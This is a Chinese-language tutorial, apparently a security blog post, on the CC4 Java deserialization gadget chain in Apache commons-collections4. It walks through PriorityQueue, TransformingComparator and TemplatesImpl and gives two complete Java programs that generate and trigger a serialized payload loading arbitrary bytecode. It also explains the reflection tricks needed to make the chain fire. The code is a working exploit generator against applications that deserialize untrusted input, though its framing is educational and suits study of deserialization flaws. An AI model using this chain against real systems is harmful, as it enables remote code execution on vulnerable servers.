Java安全--CC4

CC4

环境提一小嘴：

CC4利用的是commons-collections4，所以我们需要导入新的依赖，地址：https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0

我们先来关注一下利用链：

后半段是一样的，即利用动态加载链

InstantiateTransformer.transform
	TrAXFilter.TrAXFilter
  	        TemplatesImpl.newTransformer
    	                defineClass

前面半段则是利用到了这两个类：

TransformingComparator --> commons的类
PriorityQueue --> JDK自带的类

我们说一下是怎么拼接上的，从InstantiateTransformer.transform往上讲吧，因为我们找到TransformingComparator的compare调用了transform

并且呢TransformingComparator又调用了compare

从TransformingComparator一路走出来可以到达readObject，那么这一条链子也算是闭合了。我们看一下TransformingComparator的readObjecct是怎么调用compare的：

1.先是执行了heapify()

2.调用siftDown(i, (E) queue[i]);

3.执行siftDownUsingComparator(k, x);

4.调用了compare，最重要的是这里的comparator是我们可以控制的

如何控制comparator？很简单，就是直接传入构造函数就可以：

所以前半条链子：

PriorityQueue.readObject
	PriorityQueue.heapify
  	PriorityQueue.siftDown
    	PriorityQueue.siftDownUsingComparator
      	        TransformingComparator.compare
        	        InstantiateTransformer.transform

后面半条链子我们不动，从CC3拷贝过来，然后只要实例化两个类就可以了：（TransformingComparator和ChainedTransformer）

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

---

运行之后发现无事发生，为什么？我们断点下在入口heapify，进入heapify

我们发现这个判断的时候就被阻隔了，size就是值队列内的数量，因为我们没有添加过任何元素所以这里默认就是0

如果想要绕过这个判断至少需要添加两个元素，因为这里是对size做>>>操作，即减少一位：

4的二进制是100 做>>>操作变成 10 即2

2的二进制是10 做>>>操作变成 1 即1

所以我们对priorityQueue添加两个元素，在序列化之前添加两行代码：

priorityQueue.add(1);
priorityQueue.add(2);

再重新运行：

发行执行成功，但是我们反序列化的时候又弹不出计算器了。。。

因为我们在序列化之前执行了priorityQueue.add(1);代码

我们一路跟进：add->offer->siftUp->siftUpUsingComparator发现它已经调用了compare了

而且最关键的是这里它还执行了break方法，所以下面的serialize是压根没有执行，所以连ser.bin的序列化文件都没有生成，怎么反序列化呢？

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

我们在这一句修改一下，把chainedTransformer改成new ConstantTransformer("qingfeng")，即：

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

接着在反序列化之前，add函数之后利用反射修改其值改回chainedTransformer，这样在反序列化的时候就可以执行了。

所以整个代码就是：

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

//        instantiateTransformer.transform(TrAXFilter.class);
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

CC4完结思考：

为什么我们CC3前面半条不能用这个链子，或者有CC3不就足够了，为什么要再找一个这样的链子，不是画蛇添足吗？

其实罪魁祸首就是 commons-collections4 和 commons-collections3 的区别了，更具体一点就是在类TransformingComparator这里。

我们先来看一下commons-collections3的TransformingComparator函数：

再看一下commons-collections4的TransformingComparator函数：

发现一个继承了serialize接口，另一个没有继承这个接口。因此造成了一个新的漏洞利用点，从而有了CC4.